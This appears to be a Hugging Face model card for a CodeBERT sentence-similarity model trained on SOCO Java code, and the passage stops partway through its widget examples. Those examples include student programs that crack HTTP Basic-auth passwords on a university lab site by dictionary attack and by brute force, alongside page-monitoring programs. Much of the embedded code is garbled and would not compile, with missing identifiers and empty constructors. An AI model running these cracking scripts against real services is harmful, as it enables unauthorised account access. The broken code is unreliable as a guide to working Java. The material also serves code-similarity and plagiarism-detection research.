buelfhood/SOCO-Java-CodeBERT-ST
1107
1---2tags:3- sentence-transformers4- sentence-similarity5- feature-extraction6- generated_from_trainer7- dataset_size:334118- loss:BatchAllTripletLoss9base_model: microsoft/codebert-base10widget:11- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\12 \ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\13 \npublic class Dictionary \n{\n String uname = \"\";\n String pword = \"null\"\14 ;\n Vector v = new Vector();\n int runTime;\n public void doConnect(String\15 \ connect, int num)\n {\n String = connect;\n \n try\n {\n \16 \ URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\17 \ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\18 \ i<v.size(); i++)\n\t {\n\t pword = (String)v.elementAt(i);\n\t \19 \ String up = uname + \":\" + pword;\n String encoding;\n \20 \ try\n\t\t{\n\t\t connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder)\21 \ Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t encoding = encoder.encode\22 \ (up.getBytes());\n\t\t \n }\n\t catch (Exception ex) \n \23 \ {\n\t\t Base64Converter encoder = new Base64Converter();\n\t\t System.out.println(\"\24 in catch\");\n encoding = encoder.encode(up.getBytes());\n \25 \ }\n\t connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n\26 \ connection.connect();\n if(connection instanceof HttpURLConnection)\n\27 \t {\n\t HttpURLConnection httpCon=(HttpURLConnection)connection;\n\28 \ if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\29 \t\t {\n\t\t System.out.println(\"Not authorized - check for details\" + \"\30 \ -Incorrect Password : \" + pword);\n\t doConnect(i, i+1);\n\t \31 \ }\n\t\telse\n\t\t { \n\t\t System.out.println(\"\\n\\n\\nPassword for HTTP\32 \ Secure Site by Dictionary Attack:\");\n\t System.out.println( +\"\\tPassword\33 \ : \"+ pword);\n\n runTime = System.currentTimeMillis() - runTime;\34 \ \n System.out.println(\"Time taken crack password (in seconds)\"\35 +\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken crack password : \"+ i);\n\t \36 \ System.exit(0);\n\t }\n\t }\n\t }\n }\n }\n catch(Exception\37 \ ex)\n {\n ex.printStackTrace();\n }\n }\n public Vector getPassword()\n\38 \ {\n try\n {\n ReadFile rf = new ReadFile();\n rf.loadFile();\n\39 \ v = rf.getVector();\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n\40 \ }\n return v;\n } \n public void setTimeTaken( int timetaken)\n {\n\41 \ runTime = timetaken;\n } \n public static void main ( String args[] )\42 \ throws IOException \n {\n \n runTime1 = System.currentTimeMillis();\43 \ \n Dictionary newDo = new Dictionary();\n newDo.setTimeTaken(runTime1);\n\44 \ newDo. getPassword();\n String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\45 ;\n newDo.doConnect(site, 0);\n \n } \n \n}\n\nclass Base64Converter\n\46 \ {\n \n public final char [ ] alphabet = {\n 'A',\47 \ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M',\48 \ 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\49 \ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g',\50 \ 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's',\51 \ 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n\52 \ '4', '5', '6', '7', '8', '9', '+', '/' }; \n \n \n public\53 \ String encode ( String s )\n {\n return encode ( s.getBytes\54 \ ( ) );\n }\n \n public String encode ( byte [ ] octetString\55 \ )\n {\n int bits24;\n int bits6;\n \n\56 \ char [ ] out\n = new char [ ( ( octetString.length\57 \ - 1 ) / 3 + 1 ) * 4 ];\n \n int outIndex = 0;\n int\58 \ i = 0;\n \n while ( ( i + 3 ) <= octetString.length ) {\n\59 \ \n bits24=( octetString [ i++ ] & 0xFF ) <<\60 \ 16;\n bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n \n \61 \ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [\62 \ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\63 \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \64 \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\65 \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\66 \ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\67 \ \n if ( octetString.length - i == 2 )\n {\n \68 \ \n bits24 = ( octetString [ i ] & 0xFF ) <<\69 \ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \70 \ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\71 \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\72 \ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \73 \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\74 \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\75 \ ] = '=';\n }\n else if ( octetString.length - i ==\76 \ 1 )\n {\n \n bits24 = ( octetString\77 \ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\78 \ out [ outIndex++ ] = alphabet [ bits6 ];\n \79 \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\80 \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\81 \ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\82 \ return new String ( out );\n }\n }\n \n \n"83 sentences:84 - "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\85 \npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\86 \ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\87 \ = null;\n\n static String Path = null;\n static String str = null;\n static\88 \ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\89 \ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\90 );\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\91 \ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\92 \n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\93 ;\n\n try\n {\n \n mailwriter = new PrintWriter(new\94 \ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\95 \ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\96 \ {\n System.out.println(\"Sending Mail\");\n p\97 \ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\98 \ }\n else\n System.out.println(\" mail sent\");\n\n\99 \ } catch (IOException ioe)\n {\n System.out.println(\"\100 IOException\");\n ioe.printStackTrace();\n }\n catch\101 \ (InterruptedException intex)\n {\n System.out.println(\"\102 Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\103 \n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\104 \ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\105 \ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\106 Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\107 \ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\108 /usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\109 \ p.getInputStream()));\n\n Path=bf.readLine();\n\110 \n if (indexfile.exists())\n {\n mailwriter.println(\"\111 File with name 'index.html' found in directory.\");\n mailwriter.println(\"\112 Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\113 /usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\114 \ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\115 /\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\116 File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\117 Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\118 .\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\119 Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\120 /usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\121 \ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\122 \ saved disk for the first time.\");\n }\n\n\n } catch (IOException\123 \ ioe)\n {\n System.out.println(\"IOException\");\n \124 \ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\125 \ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\126 );\n iobe.printStackTrace();\n }\n catch (Exception e)\n\127 \ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\128 \ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\129 \ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\130 /usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \131 \ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\132 \n while((str=bf.readLine())!=null)\n {\n bf = new\133 \ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\134 \ {\n str=bf.nextToken();\n if ((str.indexOf(\"\135 gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\136 \ }\n \n }\n\n }catch (IOException ioe)\n \137 \ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\138 \ }\n catch (Exception e)\n {\n System.out.println(\"\139 Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\140 Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\141 \n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\142 \ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \143 \ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\144 \ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\145 \ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\146 \ p.getInputStream()));\n pr.println(bf.readLine());\n\147 \ \n for(int i=0; i<imgVect.size();i++)\n {\n imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))),\148 \ i);\n imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))),\149 \ i);\n\n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n\150 \ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\151 \ p.getInputStream()));\n pr.println(bf.readLine());\n\152 \ rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n }\n\153 \ pr.get();\n\n } catch (IOException ioe)\n {\n \154 \ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\155 \ }\n catch (InterruptedException intex)\n {\n \156 \ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\157 \ }\n\n if (tmpmdfile.exists())\n compVersions((imgVect.size())+1);\n\158 \n }\n\n static void compVersions(int numlines)\n {\n\n int tmp = 0;\n\159 \ int x = 0;\n String[] md5A = new String[numlines];\n Vector tmpmd5V\160 \ = new Vector(); \n \n \161 \ \n String[] tmpmd5A = null;\n StringTokenizer stoken\162 \ = null;\n String mdImgName = null;\n String mdImgVal = null;\n \163 \ String tmpImgName = null;\n String tmpImgVal = null;\n\n try\n\164 \ {\n\n bf = new BufferedReader(new FileReader(mdfile));\n\n \165 \ while((str = bf.readLine()) != null)\n {\n md5A[tmp]=str;\n\166 \ tmp++;\n }\n\n bf = new BufferedReader(new FileReader(tmpmdfile));\n\167 \ tmp=0;\n\n while ((str = bf.readLine()) !=null)\n {\n\168 \ tmpmd5V.addElement(str);\n tmp++;\n }\n\n \169 \ tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); \n\n\170 \ if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n {\n mailwriter.println(\"\171 ---The file index.html has changed.---\");\n mailwriter.println(\"\172 -Diff of old and new -\");\n changed=true;\n mailwriter.println();\n\173 \ p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\"\174 );\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\175 \n while ((str = bf.readLine()) != null)\n mailwriter.println(str);\n\176 \n }\n else\n {\n mailwriter.println(\"The\177 \ file index.html hasn't changed.\");\n mailwriter.println();\n \178 \ }\n\n mailwriter.println();\n mailwriter.println(\"Changes\179 \ Images\");\n mailwriter.println(\"-----------------\");\n\n\n \180 \ \n\n for (tmp=1; tmp<md5A.length; tmp++) \n {\n \181 \ stoken = new StringTokenizer(md5A[tmp]);\n mdImgVal = stoken.nextToken();\n\182 \ mdImgName = stoken.nextToken();\n for (x=1; x<tmpmd5A.length;\183 \ x++)\n {\n stoken = new StringTokenizer(tmpmd5A[x]);\n\184 \ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\185 \n if (mdImgName.compareTo(tmpImgName) == 0)\n {\n\186 \ if(mdImgVal.compareTo(tmpImgVal) == 0)\n {\n\187 \ \n break;\n }\n \188 \ else\n {\n mailwriter.println(\"\189 The image \"+mdImgName+\" has changed.\");\n changed=true;\n\190 \ break;\n }\n }\n \191 \ if (x == ((tmpmd5A.length)-1))\n {\n mailwriter.println(\"\192 The image \"+mdImgName+\" is new this \");\n changed=true;\n\193 \ }\n }\n }\n\n for (tmp=1; tmp<tmpmd5A.length;\194 \ tmp++) \n {\n stoken = new StringTokenizer(tmpmd5A[tmp]);\n\195 \ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\196 \ for (x=1; x<md5A.length; x++)\n {\n stoken\197 \ = new StringTokenizer(md5A[x]);\n mdImgVal = stoken.nextToken();\n\198 \ mdImgName = stoken.nextToken();\n if (tmpImgName.compareTo(mdImgName)\199 \ == 0)\n {\n break;\n }\n \200 \ if (x == ((md5A.length)-1))\n {\n mailwriter.println(\"\201 The image \"+tmpImgName+\" is longer the \");\n changed=true;\n\202 \ }\n }\n }\n\n\n } catch(IOException ioe)\n\203 \ {System.out.println(\"IOException\");\n ioe.printStackTrace();\n\204 \ }\n catch(InterruptedException iex)\n {System.out.println(\"\205 Interrupted Exception\");\n iex.printStackTrace();\n }\n\n }\n\206 \n\n static Object getFullPath(String fname)\n {\n \n\n if(fname.charAt(0)==\207 \ '/') \n fname=urlStr+fname; \n else if(fname.charAt(0) != 'h')\n\208 \ fname=urlStr+'/'+fname;\n\n getImgFile(fname);\n\n return\209 \ (Object)fname; \n }\n\n static void getImgFile(String fullPath)\n {\n\210 \ \n\n try\n {\n qproc=Runtime.getRuntime().exec(\"/usr/local//wget\211 \ \"+fullPath);\n qproc.waitFor();\n\n } catch (IOException ioe)\n\212 \ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\213 \ }\n catch (InterruptedException intex)\n {\n \214 \ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\215 \ }\n }\n\n static void rmImgFile(String delpath)\n {\n \n\n\216 \ try\n {\n qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n\217 \ qproc.waitFor();\n\n } catch (IOException ioe)\n {\n \218 \ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\219 \ }\n catch (InterruptedException intex)\n {\n \220 \ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\221 \ }\n \n }\n\n static Object getImgNames(String prsName)\n {\n\222 \ \n \n String str = new StringTokenizer(prsName, \"/\", false);\n\223 \n while(str.hasMoreTokens())\n {\n str=bgf.nextToken();\n \224 \ if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n \225 \ prsName=str;\n }\n return (Object)prsName;\n }\n}\n"226 - "import java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\227 \npublic class WatchDog\n{\n private String address;\n private UnixMailing\228 \ email;\n\n private int step = 0;\n private String buffer = \"\";\n\n public\229 \ static void main(String [] args)\n {\n if (args.length < 2)\n {\n\230 \ System.err.println(\"Invalid usage!\");\n System.err.println(\"\231 Usage: java WatchDog <url> <email>\");\n System.exit(1);\n }\n\n\232 \ String address = args[0];\n String email = args[1];\n WatchDog\233 \ theProg = new WatchDog(address, email);\n\n try\n {\n File\234 \ currDir = new File(\".\");\n File [] list = currDir.listFiles();\n \235 \ for (int i = 0; i < list.length; i++)\n {\n if (list[i].getName().trim().startsWith(\"\236 _buffer\"))\n list[i].delete();\n }\n }\n catch(Exception\237 \ e) {}\n\n while (true)\n {\n theProg.checkPage();\n \238 \ try\n {\n Thread.sleep();\n }\n catch(InterruptedException\239 \ e ) {}\n }\n\n }\n\n public WatchDog(String address, String email)\n\240 \ {\n this.address = address;\n this.email = new UnixMailing(email);\n\241 \ }\n\n public void checkPage()\n {\n try\n {\n File buffFp\242 \ = new File(\"_bufferFile.html\");\n Vector imgs = new Vector();\n\n\243 \ boolean getAgain = false;\n if (buffFp.exists())\n {\n\244 \ URLConnection conn = (new URL(address)).openConnection();\n \245 \ conn.setDoInput(true);\n conn.connect();\n DataInputStream\246 \ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\247 Checking file \"+address);\n char i = '\\0';\n char f =\248 \ '\\0';\n DataInputStream inFile = new DataInputStream(\n \249 \ new FileInputStream(buffFp));\n \250 \ try\n {\n int step = 0;\n while(true)\n\251 \ {\n i = (char)inNet.readByte();\n \252 \ f = (char)inFile.readByte();\n\n if (i != f)\n \253 \ {\n email.println(\" changes in the content\254 \ of the web: \"+address);\n System.out.println(\" changes\255 \ in the content of the web: \"+address);\n getAgain = true;\n\256 \ break;\n }\n tokenImages(i,\257 \ imgs);\n }\n }\n catch(EOFException eofe)\258 \ {}\n\n if (!getAgain)\n {\n try\n \259 \ {\n i = (char)inNet.readByte();\n \260 \ email.println(\" changes in the content of the web: \"+address);\n \261 \ System.out.println(\" changes in the content of the web: \"+address);\n\262 \ getAgain = true;\n }\n catch(EOFException\263 \ eofe) {}\n try\n {\n f = (char)inFile.readByte();\n\264 \ email.println(\" changes in the content of the web: \"+address);\n\265 \ System.out.println(\" changes in the content of the web: \"\266 +address);\n getAgain = true;\n }\n \267 \ catch(EOFException eofe) {}\n }\n\n inFile.print();\n\268 \ inNet.print();\n }\n else\n getAgain =\269 \ true;\n\n\n if (getAgain)\n {\n getAgain = false;\n\270 \ URLConnection conn = (new URL(address)).openConnection();\n \271 \ conn.setDoInput(true);\n conn.connect();\n DataInputStream\272 \ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\273 Storing file \"+address);\n DataOutputStream outFile = new DataOutputStream(\n\274 \ new FileOutputStream(buffFp));\n\275 \ byte i = 0;\n try\n {\n while(true)\n\276 \ {\n i = inNet.readByte();\n \277 \ outFile.writeByte(i);\n tokenImages((char)i, imgs);\n \278 \ }\n }\n catch(EOFException eofe) {}\n\n \279 \ outFile.print();\n inNet.print();\n }\n for(int\280 \ index = 0; index < imgs.size(); index++)\n checkImage(address, (String)imgs.get(index));\n\281 \ email.sent();\n }\n catch(Exception e)\n {\n \282 \ e.printStackTrace();\n }\n }\n\n\n public void tokenImages(char i,\283 \ Vector imgs)\n {\n if (step == 1) \n {\n if (i == 'i' &&\284 \ buffer.length() <= 0 ||\n i == 'm' && buffer.equals(\"i\") ||\n\285 \ i == 'g' && buffer.equals(\"im\"))\n {\n buffer\286 \ += i;\n buffer = buffer.toLowerCase();\n }\n else\n\287 \ {\n if (Character.isWhitespace(i) && buffer.equals(\"img\"\288 ))\n step = 2;\n else if (!Character.isWhitespace(i)\289 \ || buffer.length() > 0)\n step = 0;\n buffer = \"\"\290 ;\n }\n }\n else if (step == 2) \n {\n if (i ==\291 \ 's' && buffer.length() <= 0 ||\n i == 'r' && buffer.equals(\"s\"\292 ) ||\n i == 'c' && buffer.equals(\"sr\"))\n {\n \293 \ buffer += i;\n buffer = buffer.toLowerCase();\n }\n \294 \ else\n {\n if (Character.isWhitespace(i) && buffer.equals(\"\295 src\"))\n step = 3;\n else if (i == '=' && buffer.equals(\"\296 src\"))\n step = 4;\n else if (i == '>')\n \297 \ step = 0;\n buffer = \"\";\n }\n }\n else if\298 \ (step == 3) \n {\n if (i == '=')\n {\n step\299 \ = 4;\n }\n else if (!Character.isWhitespace(i))\n {\n\300 \ if(i == '>')\n step = 0;\n else\n \301 \ step = 2;\n buffer = \"\";\n }\n }\n else\302 \ if (step == 4) \n {\n if (i == '\\\"')\n {\n \303 \ step = 5;\n buffer = \"\";\n }\n else if (!Character.isWhitespace(i))\n\304 \ {\n if(i == '>')\n {\n buffer =\305 \ \"\";\n step = 0;\n }\n else\n \306 \ {\n buffer = \"\"+i;\n step = 6;\n \307 \ }\n\n }\n\n }\n else if (step == 5) \n {\n if\308 \ (i == '\\\"')\n {\n if (buffer.trim().length() > 0)\n \309 \ imgs.add(buffer);\n buffer = \"\";\n step =\310 \ 0;\n }\n else\n buffer += i;\n }\n else\311 \ if (step == 6) \n {\n if (Character.isWhitespace(i) || i == '>')\n\312 \ {\n if (buffer.trim().length() > 0)\n imgs.add(buffer);\n\313 \ buffer = \"\";\n step = 0;\n }\n else\n\314 \ buffer += i;\n }\n else if(i == '<')\n {\n \315 \ step = 1;\n buffer = \"\";\n }\n }\n\n public void checkImage(String\316 \ hostUrl, String imageUrl)\n {\n try\n {\n String fullURL\317 \ = \"\";\n if (imageUrl.startsWith(\"http\"))\n {\n \318 \ fullURL = imageUrl;\n }\n else if (imageUrl.startsWith(\"\319 /\"))\n {\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+imageUrl;\n\320 \ }\n else\n {\n String path = (new URL(hostUrl)).getPath();\n\321 \ if (!path.endsWith(\"/\"))\n path = path.substring(0,\322 \ path.lastIndexOf('/')+1);\n\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+path+imageUrl;\n\323 \ }\n\n File buffFp = new File(\"_buffer\"+\n \324 \ (new URL(fullURL)).getPath().replaceAll(\"/\", \"_\"));\n Vector\325 \ imgs = new Vector();\n\n boolean getAgain = false;\n if (buffFp.exists())\n\326 \ {\n URLConnection conn = (new URL(fullURL)).openConnection();\n\327 \ conn.setDoInput(true);\n conn.connect();\n \328 \ DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\n \329 \ System.out.println(\"Checking image: \"+fullURL);\n byte i\330 \ = 0;\n byte f = 0;\n DataInputStream inFile = new DataInputStream(\n\331 \ new FileInputStream(buffFp));\n\332 \ try\n {\n int step = 0;\n \333 \ while(true)\n {\n i = inNet.readByte();\n \334 \ f = inFile.readByte();\n\n if (i != f)\n \335 \ {\n email.println(\"Image \"+fullURL+\" has\336 \ been change!\");\n System.out.println(\"Image \"+fullURL+\"\337 \ has been change!\");\n getAgain = true;\n \338 \ break;\n }\n }\n }\n \339 \ catch(EOFException eofe) {}\n\n if (!getAgain)\n {\n\340 \ try\n {\n i = inNet.readByte();\n\341 \ email.println(\"Image \"+fullURL+\" has been change!\");\n\342 \ System.out.println(\"Image \"+fullURL+\" has been change!\"\343 );\n getAgain = true;\n }\n catch(EOFException\344 \ eofe) {}\n try\n {\n f = inFile.readByte();\n\345 \ email.println(\"Image \"+fullURL+\" has been change!\");\n\346 \ System.out.println(\"Image \"+fullURL+\" has been change!\"\347 );\n getAgain = true;\n }\n catch(EOFException\348 \ eofe) {}\n }\n\n inFile.print();\n inNet.print();\n\349 \ }\n else\n getAgain = true;\n\n if (getAgain)\n\350 \ {\n getAgain = false;\n URLConnection conn = (new\351 \ URL(fullURL)).openConnection();\n conn.setDoInput(true);\n \352 \ conn.connect();\n DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\353 \n System.out.println(\"Storing the image: \"+fullURL);\n \354 \ DataOutputStream outFile = new DataOutputStream(\n \355 \ new FileOutputStream(buffFp));\n byte i = 0;\n\356 \ try\n {\n while(true)\n {\n\357 \ i = inNet.readByte();\n outFile.writeByte(i);\n\358 \ }\n }\n catch(EOFException eofe) {}\n\n\359 \ outFile.print();\n inNet.print();\n }\n }\n\360 \ catch(Exception e)\n {\n e.printStackTrace();\n }\n \361 \ }\n}\n\n"362 - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\363 \ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\364 \ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\365 \ boolean auth = false;\n Date = new Date();\n boolean morePasswords\366 \ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\367 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\368 \ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \369 \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\370 ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\371 \ URL url = new URL(resource);\n HttpURLConnection conn\372 \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\373 HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\374 \ {\n System.out.println(\"cracked with \" + new String(password));\n\375 \ auth = true;\n }\n } catch (Exception e) {\n\376 \ System.out.println(\" was exception: \" + e.getMessage());\n \377 \ }\n int count = passPtr;\n while (true) {\n \378 \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \379 \ password[count] = validChars.charAt(0);\n count--;\n\380 \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\381 \ + 1);\n break;\n }\n if (count < 0) {\n\382 \ \n if (passPtr < MAX_LENGTH - 1) {\n \383 \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\384 \ } else {\n morePasswords = false;\n \385 \ }\n break;\n }\n }\n \n }\386 \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\387 );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\388 \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\389 \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\390 \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\391 \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\392 \ {\n String user = \"\";\n return new PasswordAuthentication(user,\393 \ password);\n }\n}\n"394- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\395 public class Dictionary\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\396 ;\n private static String password;\n private static int length; \397 \ \n private static int t_counter; \n private static int f_counter;\398 \ \n \n private static int respCode;\399 \ \n private static BufferedReader buf; \n\n public Dictionary()\n\400 \ {\n FileReader fRead;\n Authenticator.setDefault(new DictionaryAuthenticator());\n\401 \ t_counter = 0;\n f_counter = 0;\n length = 0;\n\n try\n\402 \ {\n fRead = new FileReader(\"/usr/share/lib/dict/words\");\n \403 \ buf = new BufferedReader(fRead);\n }\n catch (FileNotFoundException\404 \ e)\n {\n System.out.println(\"File not found\");\n }\n }\n\405 \n public static void main(String[] args)\n {\n Dictionary dict = new\406 \ Dictionary();\n String file = \" \";\n while(respCode != 200 )\n \407 \ {\n file = dict.fetchURL();\n }\n System.out.println(\"\408 Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\409 \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\410 \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\411 \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\412 \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \413 \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\414 \ BufferedReader in = \n new BufferedReader (new InputStreamReader\415 \ (content));\n String line;\n while ((line = in.readLine()) !=\416 \ null) \n {\n pw.println(line);\n }\n } catch\417 \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\418 \ sw.toString();\n }\n \n class DictionaryAuthenticator extends\419 \ Authenticator \n {\n private String username = \"\";\n\n protected\420 \ PasswordAuthentication getPasswordAuthentication()\n {\n return\421 \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\422 \ char[] generatePassword()\n {\n String word = null;\n int\423 \ chars;\n char c[] = null;\n \n chars = 0;\n \n \424 \ if(f_counter == 0) \n \n \n { \n try\n \425 \ {\n \n {\n word = buf.readLine();\n\426 \ if(word != null)\n {\n \427 \ length = word.length();\n chars = 0;\n \428 \ for(int i=0; i<length; i++)\n {\n \429 \ if(Character.isLetter(word.charAt(i))) chars++;\n }\n\430 \ }\n }\n while( word != null &&\431 \ (length > 3 || chars != length));\n\n }\n catch (IOException\432 \ ioe)\n {\n System.out.println(\"IO Error: \" + ioe);\n\433 \ }\n\n if(word != null)\n {\n \434 \ c = word.toCharArray(); \n password = new String(c);\n \435 \ } \n else\n {\n System.out.println(\"\436 \ more words in dictionary\");\n System.exit(0);\n }\n\437 \n f_counter++;\n } \n else\n \n {\n\438 \ c = password.toCharArray(); \n for(int i=0; i< length;\439 \ i++)\n {\n if(Character.isLowerCase(c[i]))\n \440 \ {\n c[i] = Character.toUpperCase(c[i]);\n \441 \ }\n else\n {\n c[i] = Character.toLowerCase(c[i]);\n\442 \ }\n }\n password = new String(c);\n \443 \ f_counter = 0;\n }\n\n t_counter++;\n\n return\444 \ c;\n }\n }\n}\n"445 sentences:446 - "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport\447 \ javax.naming.Context;\nimport javax.naming.InitialContext;\nimport 